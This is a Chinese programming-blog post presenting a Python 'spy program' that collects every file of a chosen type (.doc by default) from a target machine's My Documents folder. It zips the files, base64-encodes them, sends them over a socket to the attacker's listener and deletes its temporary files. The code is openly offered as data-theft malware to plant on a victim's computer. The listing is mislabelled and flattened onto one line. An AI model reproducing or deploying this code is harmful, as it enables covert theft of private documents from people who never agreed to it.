读书人

python 特工程序传输文件 socket编程

发布时间: 2013-09-28 10:01:20 作者: rapoo

python 间谍程序传输文件 socket编程

本程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密

2、用zip压缩

3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可

4、本程序设置了获取doc文件,修改extName可以获取其它类型文件


server.py

# -*- coding: cp936 -*-import socketimport win32com.clientimport win32apiimport osimport timeimport zipfileimport codecsimport base64def walk_dir(dir,filelist,extName,topdown=True):    for root, dirs, files in os.walk(dir, topdown):        for name in files:            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:                filelist.append(os.path.join(root,name))               for name in dirs:            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:                filelist.append(os.path.join(root,name))def main():            HOST = '127.0.0.1'    PORT = 2000    BUF_SIZE = 65535    key = 'ouyang'    dicName = "C:\Documents and Settings\Administrator\我的文档"    extName = '.doc'    #遍历搜索我的文档的doc类型    try:        filelist = []        walk_dir(dicName,filelist,extName)    except IOError,e:        print "文件处理错误: " % e        sys.exit(-1)    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)      try:        cs.connect((HOST,PORT))        print cs.recv(BUF_SIZE)                #压缩成zip文件        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)        for f in filelist:            zfile.write(f)        zfile.close()                #base 2进制 加密 encode(infile,outfile)        infile = open('in.zip','rb')        tmpfile = open('in.tmp','wb')        base64.encode(infile,tmpfile)        infile.close()        tmpfile.close()                #send        tmpfile = open('in.tmp','rb')        cs.send(tmpfile.read())        tmpfile.close()        #后续处理 删除中间文件        os.remove('in.tmp')                cs.close()    except socket.error ,e:        print 'socket 出错啦:' % e        cs.close()if __name__=='__main__':    main()



读书人网 >编程

热点推荐